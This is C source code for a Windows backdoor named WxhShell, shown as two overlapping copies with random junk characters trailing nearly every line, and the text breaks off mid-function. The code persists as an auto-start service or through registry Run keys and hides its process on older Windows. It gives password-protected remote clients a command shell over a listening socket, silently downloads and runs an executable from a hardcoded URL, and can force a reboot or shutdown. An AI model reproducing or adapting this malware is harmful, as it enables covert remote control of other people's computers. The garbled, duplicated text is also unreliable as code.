  case 'd': { ]C!gQq2'a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u-QB.iQ+s  
    if(Boot(SHUTDOWN)) ha]VWt%}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]E5o1eeg  
    else { WlOmJtt4)  
    closesocket(wsh); |3(' N#|  
    ExitThread(0); Ri<u/ ]oR"  
    } )1?y 8_B  
    break; 3Z>Ux3[  
    } cuax;0{%  
  // 获取shell X8Bd3-B  
  case 's': { Ytn9B}%o  
    CmdShell(wsh); KI"#f$2&  
    closesocket(wsh); Z9v31)q(  
    ExitThread(0); 01 }D,W`  
    break; hNC&T`.-~B  
  } g|o,uD  
  // 退出 /CrSu  
  case 'x': { uy>q7C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p*XANGA  
    CloseIt(wsh); {&&z-^  
    break; ?g_3 [Fk  
    } ; 5*&xz  
  // 离开 'TTLo|@"-  
  case 'q': { Xr,1&"B&t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G<L;4nA)  
    closesocket(wsh); yuh *  
    WSACleanup(); ik)|{%!K]H  
    exit(1); S\CCrje  
    break; ?qb}?&1  
        } (d(CT;  
  } Amtq"<h9a  
  } LQ@"Xe]5  
u+9hL4  
  // 提示信息 6fkRrD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0CHH)Bku  
} 5?f ^Rz  
  } Akq2 d;  
fBU`k_  
  return; 6_(&6]}66  
} d-oMQGOklb  
!Jo_"#5  
// shell模块句柄 tm|ZBM  
int CmdShell(SOCKET sock) z<MsKD0Q  
{ 9Gvd&U  
STARTUPINFO si; s n8Qk=K  
ZeroMemory(&si,sizeof(si)); lov!o: dJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &)QX7*H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Na<pwC  
PROCESS_INFORMATION ProcessInfo; D, k6$`  
char cmdline[]="cmd"; f[]dfLS"W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _qF+tm  
  return 0; C"y(5U)d  
} dn& s*  
#NQMy:JHD)  
// 自身启动模式 .j ?W>F  
int StartFromService(void) ,V7nzhA2  
{ M`0V~P`^  
typedef struct S;Fi?M  
{ 0- B5`=yU  
  DWORD ExitStatus; 9=s<Ld  
  DWORD PebBaseAddress;  4j*  
  DWORD AffinityMask; &5>Kl}7  
  DWORD BasePriority; !hm]fh_j  
  ULONG UniqueProcessId; 0Fq} N  
  ULONG InheritedFromUniqueProcessId; :a!^   
}   PROCESS_BASIC_INFORMATION; T;4NRC  
P?%s #I:  
PROCNTQSIP NtQueryInformationProcess; D ;RiGW4  
9[#pIPxNK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |NlO7aQ>2H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~?l | [  
+V2F#fI/  
  HANDLE             hProcess; \UA[  
  PROCESS_BASIC_INFORMATION pbi; (|2t#'m  
C2!|OQ9A2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n3WlZ!$  
  if(NULL == hInst ) return 0; aHD]k8 m z  
r-,%2y?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <]ox;-56  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !M(xG%M-V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -oGdk|Yn  
T9=I$@/  
  if (!NtQueryInformationProcess) return 0; 1Yq!~8  
X;$+,&M"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9i:L&dN  
  if(!hProcess) return 0; ;[ZEDF5H  
Y_liA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _O?`@g?i  
e1yt9@k,  
  CloseHandle(hProcess); `>o{P/HN  
=F|{# F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /'SNw?&  
if(hProcess==NULL) return 0; R*, MfV  
@NR>{Eg  
HMODULE hMod; Z{*\S0^ST  
char procName[255]; 7g^]:3f!   
unsigned long cbNeeded; XPc^Tq  
[NTzcSN.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); : 6jbt:  
9X6h  
  CloseHandle(hProcess); G/E+L-N#`  
{p2!|A&a  
if(strstr(procName,"services")) return 1; // 以服务启动 +|3@=.V  
RH W]Z Pr<  
  return 0; // 注册表启动 AI2)g1m  
} <sbu;dQ`  
D\v+wp.  
// 主模块 h4gXvPS&r  
int StartWxhshell(LPSTR lpCmdLine) hPkp;a #  
{ =IZT(8  
  SOCKET wsl; iT+8|Yia  
BOOL val=TRUE; #\{l"-  
  int port=0; E_rI?t^  
  struct sockaddr_in door; 4> K42m  
=jN.1}  
  if(wscfg.ws_autoins) Install(); b=C*W,Q_#  
As&Sq-NWf  
port=atoi(lpCmdLine); (MM]N=Tw4  
yZY\MB/  
if(port<=0) port=wscfg.ws_port; i}f"yO+Q+  
bL`TySX  
  WSADATA data; LE Nq_@$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bIDj[-CDG  
_;S-x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l:~/<`o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J3V= 46Yc  
  door.sin_family = AF_INET; uo9B9"&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;?Tbnn Wn  
  door.sin_port = htons(port); LVM%"sd?  
n` _{9R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~7w"nIs<c  
closesocket(wsl); s[>,X#7 y  
return 1; mthA4sz  
} P;.W+WN  
<dWv?<o  
  if(listen(wsl,2) == INVALID_SOCKET) { +HpA:]#Y  
closesocket(wsl);  tU5zF.%  
return 1; 'ZF{R3Xu  
} o'aEY<mZ7  
  Wxhshell(wsl); QE+g j8  
  WSACleanup(); /KaZH R.  
e(&v"}Ef`  
return 0; Pbn*_/H  
 \!X8   
} lN)C2 2  
z|J_b"u4  
// 以NT服务方式启动 HVCe;eI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yWc$>ne[L  
{ .NC!7+1m  
DWORD   status = 0; s]0{a.Cpv  
  DWORD   specificError = 0xfffffff; !PlEO 2at  
Dj?> <@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [85spub&}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ( $MlXBI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q9K)Xk$LF  
  serviceStatus.dwWin32ExitCode     = 0; qBQ?HLK-  
  serviceStatus.dwServiceSpecificExitCode = 0; G$"h&Xy1c  
  serviceStatus.dwCheckPoint       = 0; ?4}h&/  
  serviceStatus.dwWaitHint       = 0; xIW3={b3  
wU36sCo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~vhE|f  
  if (hServiceStatusHandle==0) return; BwEN~2u6  
O:R*rJ  
status = GetLastError(); ,8uqdk-D  
  if (status!=NO_ERROR) s\(k<Ks  
{ |^I0dR/w:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gs[uD5oo<  
    serviceStatus.dwCheckPoint       = 0; ?=7 cF  
    serviceStatus.dwWaitHint       = 0; Ta0|+IYk<  
    serviceStatus.dwWin32ExitCode     = status; iuW[`ou X  
    serviceStatus.dwServiceSpecificExitCode = specificError; tY<4%~%X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7nTeP(M%  
    return; B]wk+8SMY.  
  } H2\;%K 2  
.VJMz4$]O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CsR$c,8X.  
  serviceStatus.dwCheckPoint       = 0; Kk0g0C:"EO  
  serviceStatus.dwWaitHint       = 0; &{hL&BLr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L#{S!P,"  
} re?,Wext\  
IPKbMlV#d  
// 处理NT服务事件,比如:启动、停止 /Iy]DU8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SM#]H-3  
{ !Pvf;rNI1T  
switch(fdwControl) gfd"v  
{ ek\ xx  
case SERVICE_CONTROL_STOP: rU:`*b<  
  serviceStatus.dwWin32ExitCode = 0; /t57!&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R?|.pq/Ln  
  serviceStatus.dwCheckPoint   = 0; t9`.bx8  
  serviceStatus.dwWaitHint     = 0; #Y`~(K47  
  { [({nj`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6<SAa#@ey  
  } %lhEM}Sm  
  return; \ZFGw&yN  
case SERVICE_CONTROL_PAUSE: kx{{_w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <z&/L/bl"  
  break; @V sG'  
case SERVICE_CONTROL_CONTINUE: xC:L)7#aw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qJs<#MQ2  
  break; #U4F0BdA  
case SERVICE_CONTROL_INTERROGATE: Gr'  CtO  
  break; 1CD+B=pQG  
}; X/!o\yyT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @f~RdO3  
} wE>\7a*P%  
iL&fgF"'  
// 标准应用程序主函数 6r0krbN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %D34/=(X  
{ {SPq$B_VR  
Oc#syfO  
// 获取操作系统版本 tjGn|+|k  
OsIsNt=GetOsVer(); l"T44CL;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]=I@1B;_m  
+F` S>U  
  // 从命令行安装 #e1>H1eU  
  if(strpbrk(lpCmdLine,"iI")) Install(); z&)A,ryW0  
OA1uY83"  
  // 下载执行文件 zpZm&WC  
if(wscfg.ws_downexe) { Oh`69 k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %QGC8Tz  
  WinExec(wscfg.ws_filenam,SW_HIDE); m+R[#GE8#  
} |Nn)m  
RDi]2  
if(!OsIsNt) { o Q2Fjj  
// 如果时win9x,隐藏进程并且设置为注册表启动 `Bp.RXsd*  
HideProc(); *uf'zQ<9  
StartWxhshell(lpCmdLine); 8 &LQzwa  
} +b<FO+E_  
else jDfC=a])  
  if(StartFromService()) S>6 ~lb8G  
  // 以服务方式启动 L|:`^M+^w  
  StartServiceCtrlDispatcher(DispatchTable);  .-c4wm}  
else =E4LRKn  
  // 普通方式启动 7 :xfPx  
  StartWxhshell(lpCmdLine); ~{g [<Qi  
mt{nm[D!Xp  
return 0; KIf dafRL  
} gMmaK0uhS  
eS\Vib  
SCHP L.n  
vn!3l1\+J  
=========================================== 5h-SCB>P  
Tod&&T'UW  
O)*+="Rg  
O!#g<`r{K  
uAJx.>$b  
NZLxHD]mp  
"  I<mV+ex  
 :D6 ON"6  
#include <stdio.h> m)t;9J5  
#include <string.h> b9J_1Gl]  
#include <windows.h> ]"hFC<w  
#include <winsock2.h> OJuG~euy  
#include <winsvc.h> wj^3N7_:w  
#include <urlmon.h> .m,_N@,  
wPd3F.<$  
#pragma comment (lib, "Ws2_32.lib") QUc= &5 %  
#pragma comment (lib, "urlmon.lib") ]I dk:et  
:'-/NtV)o?  
#define MAX_USER   100 // 最大客户端连接数 gjwn7_  
#define BUF_SOCK   200 // sock buffer ^e_hLX\SW  
#define KEY_BUFF   255 // 输入 buffer x7&B$.>3  
@s;;O\  
#define REBOOT     0   // 重启 H?vdr:WlTN  
#define SHUTDOWN   1   // 关机 FEz-+X<q2  
3 *"WG O5  
#define DEF_PORT   5000 // 监听端口 {0wIR_dGX  
t;}|tgC  
#define REG_LEN     16   // 注册表键长度 JV^=v@Z3  
#define SVC_LEN     80   // NT服务名长度 rNWw?_H-H(  
5h=}j  
// 从dll定义API %~H-)_d20  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !}#8)?p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WUe{vV#S'0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kW Ml  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EReZkvseC  
(z {#Eq4  
// wxhshell配置信息 I by\$~V  
struct WSCFG { &tLgG4pd  
  int ws_port;         // 监听端口 #uG%j  
  char ws_passstr[REG_LEN]; // 口令 6$Xzpg(o  
  int ws_autoins;       // 安装标记, 1=yes 0=no WYm\)@  
  char ws_regname[REG_LEN]; // 注册表键名 nLZTK&7}  
  char ws_svcname[REG_LEN]; // 服务名 UT~4x|b:O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SumF  2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OUPUixz2Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~S"+S/z/k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ifMRryN4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wo;~7K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7Jyy z,!5  
X; \+<LE  
}; a od-3"7[  
|}s*E_/[  
// default Wxhshell configuration zII|9y  
struct WSCFG wscfg={DEF_PORT, ) <[XtK  
    "xuhuanlingzhe", *eTqVG.  
    1, jjRi*^d9  
    "Wxhshell", Ha0M)0Anv  
    "Wxhshell", P6'1.R  
            "WxhShell Service", JW83Tp8[8  
    "Wrsky Windows CmdShell Service", h,u, ^ r  
    "Please Input Your Password: ", %op**@4/t\  
  1, Q^9_' t}X  
  "http://www.wrsky.com/wxhshell.exe", )Pa'UGY  
  "Wxhshell.exe" n`B:;2X,  
    }; Ct<udO  
H7&8\ FNa  
// 消息定义模块 FF`T\&u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  9X+V4xux  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wj$<t'MN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~rqCN,=d  
char *msg_ws_ext="\n\rExit."; urs,34h  
char *msg_ws_end="\n\rQuit."; .LnGL]/  
char *msg_ws_boot="\n\rReboot..."; q.^;!f1  
char *msg_ws_poff="\n\rShutdown..."; 8?#/o c  
char *msg_ws_down="\n\rSave to "; TTX5EDCrC  
i4Q@K,$  
char *msg_ws_err="\n\rErr!"; O'p9u@kc  
char *msg_ws_ok="\n\rOK!"; Uou1mZz/  
E1aHKjLQ  
char ExeFile[MAX_PATH]; O_ muD\  
int nUser = 0; a8e6H30Sm  
HANDLE handles[MAX_USER]; T9E+\D  
int OsIsNt; ]KKS"0a  
 c(f  
SERVICE_STATUS       serviceStatus; T?CdZc.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F`9xVnK=  
lBLARz&c#  
// 函数声明 'A=^Se`=  
int Install(void); av8B-GQI*#  
int Uninstall(void); Hh3X \  
int DownloadFile(char *sURL, SOCKET wsh); iJI }TVep#  
int Boot(int flag); kYP#SH/  
void HideProc(void); CAig ]=2'  
int GetOsVer(void); :S{BbQ){]  
int Wxhshell(SOCKET wsl); \j}ZB<.>  
void TalkWithClient(void *cs); R6<X%*&%  
int CmdShell(SOCKET sock); \_VA 50  
int StartFromService(void); h ohfE3rd  
int StartWxhshell(LPSTR lpCmdLine); T[w]o}>cW  
$ZhF h{DQ.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b4%??"&<Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !3c\NbU  
1Z/(G1  
// 数据结构和表定义 ONB{_X?  
SERVICE_TABLE_ENTRY DispatchTable[] = ,B*EVN  
{ *k7+/bU~~  
{wscfg.ws_svcname, NTServiceMain}, t9GR69v:?  
{NULL, NULL} ^,lIK+#Elz  
}; TPQ%L@^ L+  
wv>^0\o  
// 自我安装 htO +z7  
int Install(void) Y!aSs3c  
{ >NGj =L<  
  char svExeFile[MAX_PATH]; <[a=ceL]|  
  HKEY key; r!|6:G+Q  
  strcpy(svExeFile,ExeFile); WH#1 zv  
> ym,{EHK  
// 如果是win9x系统,修改注册表设为自启动 rQ{7j!Im  
if(!OsIsNt) { )` SrfGp8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hp|kQJ[LE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b"<liGh"n-  
  RegCloseKey(key); #X+JHl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T8?Ghbn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5 Aw"B  
  RegCloseKey(key); ;RZ )  
  return 0; Di,^%  
    } P8OaoPj  
  } :_`F{rDB  
} \S `:y?[Y  
else { \}yc`7T:L0  
"=HA Y  
// 如果是NT以上系统,安装为系统服务 B {n,t}z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w8")w*9Lmg  
if (schSCManager!=0) 9d0@wq.  
{ =g7x' kN  
  SC_HANDLE schService = CreateService ;Zcswt8]u  
  ( gs^Xf;g vI  
  schSCManager, *?@?f&E/  
  wscfg.ws_svcname, ]\-A;}\e  
  wscfg.ws_svcdisp, ch*8B(:  
  SERVICE_ALL_ACCESS, &@X<zWg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p%up)]?0  
  SERVICE_AUTO_START, Pa>AWOG'  
  SERVICE_ERROR_NORMAL, \i>?q   
  svExeFile, Fk&c=V;SU  
  NULL, x /(^7#u,  
  NULL, W<h)HhyG  
  NULL, k&M;,e3v6  
  NULL, `z}?"BW|  
  NULL ]? c B:}  
  ); Ye%~I`@?  
  if (schService!=0) ydEoC$?0  
  { xWH.^o,"  
  CloseServiceHandle(schService); ?.m bK  
  CloseServiceHandle(schSCManager); >F|>cc>_E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6$hQ35  
  strcat(svExeFile,wscfg.ws_svcname); M5 LfRBO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~gJwW+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [Q~#82hBhY  
  RegCloseKey(key);  C#.->\  
  return 0; do hA0  
    } i'<[DjMDlm  
  } 9Z$"K-G  
  CloseServiceHandle(schSCManager); ?d\N(s9F  
}  \{_q.;}  
} RT4x\&q  
q_:4w$>  
return 1; "`/h#np  
} Qab>|eSm  
+uF>2b6'  
// 自我卸载 -u+vJ6EY  
int Uninstall(void) Xz 6<lLb  
{ df8k7D;~e  
  HKEY key; l ~"^7H?4e  
@-07F,'W,  
if(!OsIsNt) { @(w@e\Bq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {f_={k  
  RegDeleteValue(key,wscfg.ws_regname); 7DogM".}~Q  
  RegCloseKey(key); 5+4IN5o]=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %@J.{@>  
  RegDeleteValue(key,wscfg.ws_regname); LG9+GszX 2  
  RegCloseKey(key); VcE:G#]5  
  return 0; JJ-( Sl  
  } UkwP  
} *}qWj_RT  
} V;VHv=9`o  
else { 3Y4?CM&0v  
5+0gR &|j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LtF,kAIt7v  
if (schSCManager!=0) #FLb*%Nr  
{ @}u*|P*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h%na>G  
  if (schService!=0) AEI>\Y  
  { oN~&_*FE  
  if(DeleteService(schService)!=0) { Ys9[5@7  
  CloseServiceHandle(schService); caR<Kb:;*  
  CloseServiceHandle(schSCManager); H\"sgoJ  
  return 0; [o#oa k{U  
  } q CC.^8  
  CloseServiceHandle(schService); JAnZdfRt  
  } wD}l$ & +  
  CloseServiceHandle(schSCManager); .&iawz  
} a#(?P.6  
} 23eX;gL  
JPI3[.o  
return 1; |)DGkOtd  
} HXC ;Np  
sRR( `0Zp  
// 从指定url下载文件 G^|:N[>B  
int DownloadFile(char *sURL, SOCKET wsh) .[KrlfI  
{ m]0;"jeL  
  HRESULT hr; A/$QaB,x  
char seps[]= "/"; J$DE"| -  
char *token; ;W )Y OT  
char *file; ij`w} V  
char myURL[MAX_PATH]; MTh<|$   
char myFILE[MAX_PATH]; A0s ZOCky  
2eS~/Pq5=i  
strcpy(myURL,sURL); =!A_^;NQf  
  token=strtok(myURL,seps); %g$o/A$  
  while(token!=NULL) ^$jb7HMObI  
  { ./Zk`-OBT  
    file=token; Lnl(2xD  
  token=strtok(NULL,seps); :K,i\  
  } @l5"nBs<_:  
(UD@q>c  
GetCurrentDirectory(MAX_PATH,myFILE); k/_ 59@)  
strcat(myFILE, "\\"); dh iuI|?@  
strcat(myFILE, file); E?f-wQF  
  send(wsh,myFILE,strlen(myFILE),0); ;%9|k U  
send(wsh,"...",3,0); 9!\B6=r y4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !X#OOqPr=  
  if(hr==S_OK) !;v|'I  
return 0; Yx%Hs5}8  
else a$OE0zn`  
return 1; X=&ET)8-Y  
`UyG_;  
} {*" |#6-  
1W LXM^ 4  
// 系统电源模块 !sP {gi#=  
int Boot(int flag) wH&!W~M  
{ f|c{5$N!  
  HANDLE hToken; k@J&IJ  
  TOKEN_PRIVILEGES tkp; >z>!Luw  
'3fu  
  if(OsIsNt) { s?}e^/"v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H[$"+&q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xwq (N_  
    tkp.PrivilegeCount = 1; L|7R9+ZG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]y '>=a|T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^A/k)x6  
if(flag==REBOOT) { g3/W=~r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #&aqKV Y  
  return 0; 3z?> j]  
}  skViMo  
else { D2 eckLT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D?_Zl;bQ'^  
  return 0; }@+0/W?\.  
} YnAm{YyI  
  } !9r$e99R  
  else { $k%2J9O  
if(flag==REBOOT) { 7(8;t o6(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <{cQM$ #  
  return 0; _C?hHWSf"  
} 9~XA q^e  
else { hx%v+/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Rtl"Ub@HV  
  return 0; (m/G(wg  
} `(V3:F("@  
} k$R-#f;  
sIGMA$EK  
return 1; S`0(*A[W*  
} $a"Oc   
a~}OZ&PG  
// win9x进程隐藏模块 1};Stai'  
void HideProc(void) \&3+D8H>n  
{ zP8lN(LA  
d.d/<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Id .nu/  
  if ( hKernel != NULL ) pJ"qu,w  
  { ?M9=yA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ChPmX+.i_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vMH  
    FreeLibrary(hKernel); :q% M_  
  } #rfiD%c  
WlC:l  
return; f+,qNvBY/  
} [!#L6&:a8  
'8H4shYg  
// 获取操作系统版本 X51:  
int GetOsVer(void) ??vLUv  
{ K!Y71_#  
  OSVERSIONINFO winfo; Yu^4VXp~M%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~Otoqu|  
  GetVersionEx(&winfo); 7WS p($  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %RRNJf}z  
  return 1; G@X% +$I  
  else 051 E6-  
  return 0; |{NYkw  
} oQVgyj.  
:bq8N@P/  
// 客户端句柄模块 Hd ={CFip  
int Wxhshell(SOCKET wsl) A[{yCn`tM  
{ ,Ah;A[%?~  
  SOCKET wsh; FHg 9OI67  
  struct sockaddr_in client; ZG8DIV\D7  
  DWORD myID; D.u{~  
/{n-Y/j p  
  while(nUser<MAX_USER) KBc1{adDx@  
{ )g%d:xI  
  int nSize=sizeof(client); `e&Suyf4B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G}raA%  
  if(wsh==INVALID_SOCKET) return 1; <=/hi l  
L^?qOylu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +lcbi  
if(handles[nUser]==0) 4p;`C  
  closesocket(wsh); #r\4sVg  
else .|fH y  
  nUser++; \V~eVf;~  
  } Moza".fiN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "`e{/7I  
`l[c_%Bm  
  return 0; .?sx&2R2  
} !M1"b;  
.[OUI  
// 关闭 socket MKi0jwJM  
void CloseIt(SOCKET wsh) 2uW; xfeY  
{ 0IBSRFt$g&  
closesocket(wsh); Am|%lj+1z  
nUser--; aeM+ d`f  
ExitThread(0); :tg)p+KB  
} ?GR"FmB(  
x g  
// 客户端请求句柄 vXZOy%$o  
void TalkWithClient(void *cs) '_FsvHQ  
{ dkTX  
&n:.k}/P  
  SOCKET wsh=(SOCKET)cs; QlU8uI[dk  
  char pwd[SVC_LEN]; C33J5'(CA  
  char cmd[KEY_BUFF]; g:8h|w)  
char chr[1]; M!^az[[  
int i,j; 5Yq@;e  
?%[@Qb=2  
  while (nUser < MAX_USER) { BW*rIn<?G  
Lnl=.z`jK  
if(wscfg.ws_passstr) { Iit; F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Eo]xNn/g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U$z-e/  
  //ZeroMemory(pwd,KEY_BUFF); meO:@Z0  
      i=0; )Y{L&A  
  while(i<SVC_LEN) { +',S]Edx  
`+:`_4  
  // 设置超时 &d^m 1  
  fd_set FdRead; S;#'M![8  
  struct timeval TimeOut; Hf2_0wA3  
  FD_ZERO(&FdRead); -k e's  
  FD_SET(wsh,&FdRead); 'zuIBOH`j3  
  TimeOut.tv_sec=8; 1\2no{Vh  
  TimeOut.tv_usec=0; >U27];}y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fJ!R6D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .4!=p*Y  
`Eo.v#<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J}K$(;:  
  pwd=chr[0]; n9ej7oj  
  if(chr[0]==0xd || chr[0]==0xa) { ,R* ]>'  
  pwd=0; p6!x=cW  
  break; sS'm!7*(3  
  } T}v4*O.,  
  i++; <}9lZEqY  
    } e=m42vIB-  
~U&AI1t+J  
  // 如果是非法用户,关闭 socket d|Lj~x|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Cj lk  
} ar+9\  
x7<K<k;s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0)Wltw~`&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M&9+6e'-F  
60?%<oJ oH  
while(1) { tW}'g:s  
\xw5JGm  
  ZeroMemory(cmd,KEY_BUFF); q(W3i^778  
FP4P|kl/9'  
      // 自动支持客户端 telnet标准   5D//*}b,  
  j=0; 7Kxp=-k  
  while(j<KEY_BUFF) { 3 {sVVq5Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T'Dv.h  
  cmd[j]=chr[0]; a~y'RyA  
  if(chr[0]==0xa || chr[0]==0xd) { V/9!K%y  
  cmd[j]=0; ]2qo+yB  
  break; uiR8,H9*M  
  } DT&@^$?  
  j++; |[b{)s?x  
    } 7a<DKB  
Fd9 [pU  
  // 下载文件 0*{%=M  
  if(strstr(cmd,"http://")) { )|# sfHv7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b,1ePS  
  if(DownloadFile(cmd,wsh)) s&3Vg7B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m#\ dSl}  
  else bq0zxg%  
